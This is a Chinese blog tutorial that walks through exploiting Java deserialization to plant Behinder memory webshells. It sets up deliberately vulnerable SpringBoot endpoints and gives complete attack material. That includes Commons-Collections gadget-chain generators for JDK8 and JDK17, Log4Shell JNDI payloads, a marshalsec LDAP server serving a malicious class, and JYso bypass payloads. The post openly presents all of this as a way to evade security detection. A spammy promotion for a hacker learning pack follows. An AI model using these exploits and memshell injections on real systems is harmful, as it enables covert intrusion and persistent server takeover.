反序列化“打马”?不如说是“骑马”闯入内网!(非常详细)从零基础入门到精通,收藏这篇就够了

别再弹计算器了!反序列化漏洞的真正价值

现在一说反序列化漏洞复现,动不动就是弹个计算器,仿佛这玩意儿就是终极目标。弹计算器?这充其量就是个“hello world!”级别的验证而已。

诚然,弹计算器证明了命令执行,相当于拿到了服务器的shell。但问题是,直接命令执行,攻击者根本看不到回显,这不就跟盲人摸象一样?所以,反弹shell才是王道!

然而,今时不同往日,反弹shell的流量特征早就被各种安全设备盯死了。怎么办?注入内存马!直接怼个cmd内存马进去?那流量特征一样暴露无遗。所以,更高级的玩法是注入冰蝎马,利用冰蝎的加密流量来躲避检测。

一步到位:直接反序列化注入冰蝎内存马

靶场搭建:经典SpringBoot + JDK8,先跑起来再说!

先建个Maven项目,搞个SpringBoot2工程,JDK8伺候。别嫌老,经典款稳定!

<properties>
    <!-- 这里可以定义一些版本信息,比如JDK版本 -->
</properties>

<dependencies>
    <!-- SpringBoot相关依赖,web、test之类的 -->
</dependencies>

<dependencyManagement>
    <!-- SpringBoot的版本管理 -->
</dependencyManagement>

再来个启动类:

package org.example;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

@SpringBootApplication
public class Application {

    public static void main(String[] args) {
        SpringApplication.run(Application.class, args);
    }

}

Controller是灵魂,接收参数,反序列化,一气呵成:

package org.example.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

@Controller
public class TestController {

    @ResponseBody
    @PostMapping("/Behinder")
    public String test(@RequestBody String data) throws Exception {
        byte[] decodedData = Base64.getDecoder().decode(data.substring(5)); // 去掉"data="前缀
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decodedData));
        ois.readObject();
        ois.close();
        return "success";
    }
}

序列化数据:JMG在手,冰蝎我有!

JMG(java-memshell-generator)这玩意儿是神器,专门用来生成各种内存马。

https://github.com/pen4uin/java-memshell-generator/

SpringBoot用Tomcat,没毛病。

注意:AbstractTranslet必须勾上!为啥?去看CC链的原理!

image.png

跑下面这段代码,生成冰蝎马的CC链恶意数据。Class文件路径改一下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class GeneratePayload {

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates, " pen4uin ");

        Field byteCodeField = templatesClass.getDeclaredField("_bytecodes");
        byteCodeField.setAccessible(true);
        byteCodeField.set(templates, new byte[][]{
                Files.readAllBytes(Paths.get("这里改成你的路径/Behinder.class"))
        });

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(templates),
                new InvokerTransformer("newTransformer", null, null)
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "value");

        Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        java.lang.reflect.Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(java.lang.annotation.Retention.class, transformedMap);

        FileOutputStream fileOutputStream = new FileOutputStream("payload.bin");
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
        objectOutputStream.writeObject(obj);
        objectOutputStream.close();
    }
}

“骑马”:发送恶意数据,注入冰蝎!

代码跑完会生成一个bin文件,base64编码走起!

image.png

把编码后的结果塞到数据包里,URL编码别忘了!

POST /Behinder HTTP/1.1
Content-Type: application/x-www-form-urlencoded

data=这里放你的URL编码后的Base64

验证:冰蝎连接,拿下shell!

服务器报错不用管,JMG说了,能连就行!

image.png

小结:CC链 + ClassLoader,内存马轻松get!

这就是经典的CC链反序列化,通过ClassLoader把冰蝎的恶意代码加载到内存,形成内存马。

JDK17:模块化地狱?不存在的!

问题:JDK17的模块化限制

用JDK17复现上面的靶场,会发现直接GG。因为JDK17引入了模块化的限制,需要满足以下条件才能成功调用:

  • 调用者和被调用者在同一个模块
  • 调用者模块与Object类所在的模块相同

解决:融入目标模块!

既然不能强上,那就曲线救国,把注入器放到目标的模块里!

  • SpringBoot3 + JDK17,直接创建,省事!
  • 添加CC链依赖
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version>
</dependency>
  • Controller:controller.DemoController
import jakarta.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;

@Controller
public class DemoController {

    @ResponseBody
    @RequestMapping("/test")
    public String test(HttpServletRequest request) throws Exception {
        String payload = request.getParameter("data");
        byte[] decodedData = Base64.getDecoder().decode(payload);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(decodedData));
        ois.readObject();
        ois.close();
        return "success";
    }
}
  • JMG生成冰蝎马,选择jakarta的监听器!高版本包名变了!务必勾选ByPass JDK Module!注入器的包名必须是org.apache.commons.collections.functors的子类!

image.png

  • 攻击类,生成恶意序列化数据:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
import java.util.Base64;

public class Exploit {

    public static void main(String[] args) throws Exception {
        // Payload 构造
        org.apache.commons.collections.functors.ConstantTransformer constantTransformer = new org.apache.commons.collections.functors.ConstantTransformer(Runtime.getRuntime());
        org.apache.commons.collections.functors.InvokerTransformer invokerTransformer1 = new org.apache.commons.collections.functors.InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        org.apache.commons.collections.functors.ChainedTransformer chainedTransformer = new org.apache.commons.collections.functors.ChainedTransformer(new Transformer[]{constantTransformer, invokerTransformer1});
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        Map transformedMap = TransformedMap.decorate(innerMap, null, chainedTransformer);
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        java.lang.reflect.Constructor declaredConstructor = cl.getDeclaredConstructor(new Class[]{Class.class, Map.class});
        declaredConstructor.setAccessible(true);
        Object instance = declaredConstructor.newInstance(new Object[]{Override.class, transformedMap});

        // 序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(instance);
        objectOutputStream.flush();
        objectOutputStream.close();
        byte[] serializeData = byteArrayOutputStream.toByteArray();
        byteArrayOutputStream.close();

        // Base64 编码
        String payload = Base64.getEncoder().encodeToString(serializeData);
        System.out.println(payload);
    }
}
  • 发包!500?200?能连就行!
POST /test HTTP/1.1
Content-Type: application/x-www-form-urlencoded

data=这里放你的Base64
  • 冰蝎连接!

image.png

LDAP:远程“骑马”,防不胜防!

说明:LDAP的反连特性

LDAP相比直接反序列化,需要反连。FastJson和Log4j2是两大重灾区。这里用1.2.24版本的Log4j2。

后续只需要修改Payload,JNDI服务器啥的都一样。

靶场:SpringBoot2,老朋友!

  • 原始配置搭建SpringBoot2
  • 导入依赖
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.14.1</version> <!-- 保持版本一致 -->
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.14.1</version>
</dependency>
  • SpringBoot启动类,加个注解:
@SpringBootApplication
public class DemoApplication {

    public static void main(String[] args) {
        SpringApplication.run(DemoApplication.class, args);
    }

}
  • Bean,作为反序列化目标:
public class User {
    private String username;
    private String password;

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }
}
  • Controller:
@Controller
public class Log4jController {

    private static final Logger logger = LogManager.getLogger(Log4jController.class);

    @RequestMapping("/")
    @ResponseBody
    public String index(@RequestBody String data) {
        logger.error("Received data: " + data); // 使用error级别,确保输出
        return "success";
    }
}
  • 抓包!application/json是重点!
POST / HTTP/1.1
Content-Type: application/json

{"username":"${jndi:ldap://127.0.0.1:7777/BehinderTest}"}

攻击:JNDI + HTTP,双管齐下!

模仿JMG生成的BCEL,写个Class:

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;

public class BehinderTest implements Servlet {

    static {
        try {
            Runtime.getRuntime().exec("calc"); // 这里可以替换成更隐蔽的命令
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public void init(ServletConfig config) throws ServletException {
    }

    public ServletConfig getServletConfig() {
        return null;
    }

    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
    }

    public String getServletInfo() {
        return null;
    }

    public void destroy() {
    }
}

BehinderTest.class放到一个目录,Python起个HTTP服务:

python -m http.server 4444

上传marshalsec-0.0.3-SNAPSHOT-all.jar,搭建LDAP服务器,目标访问7777,转发到4444,获取恶意类BehinderTest

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:4444/#BehinderTest" 7777

浏览器发包:

{
  "username": "${jndi:ldap://127.0.0.1:7777/BehinderTest}"
}

冰蝎4连接!

image.png

JDK8高版本:JYSO本地绕过,柳暗花明!

说明:JDK8u191后的限制

JDK8u191之后,上面的方法失效了,需要本地绕过。

工具:JYSO,一键起飞!

https://github.com/qi4L/JYso/

  • 监听:
java -jar JYso-1.3.4.jar -j
  • Payload:
ldap://127.0.0.1:1389/TomcatBypass/M-EX-MS-TFMSFromThread-bx
  • 冰蝎连接密码和请求头:
# 浏览器访问 ?/qi4l
  • 限制:springboot版本不能太高,本地工厂类会被修复。

073b12bcfc7429357e6fdc91e88f455f.png


```

黑客/网络安全学习包

资料目录

  1. 成长路线图&学习规划

  2. 配套视频教程

  3. SRC&黑客文籍

  4. 护网行动资料

  5. 黑客必读书单

  6. 面试题合集

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

1.成长路线图&学习规划

要学习一门新的技术,作为新手一定要先学习成长路线图方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

2.视频教程

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩


因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*************************************

3.SRC&黑客文籍

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

黑客资料由于是敏感资源,这里不能直接展示哦!

4.护网行动资料

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

5.黑客必读书单

**

**

6.面试题合集

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。

更多内容为防止和谐,可以扫描获取~

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

*************************************优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享*********************************

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值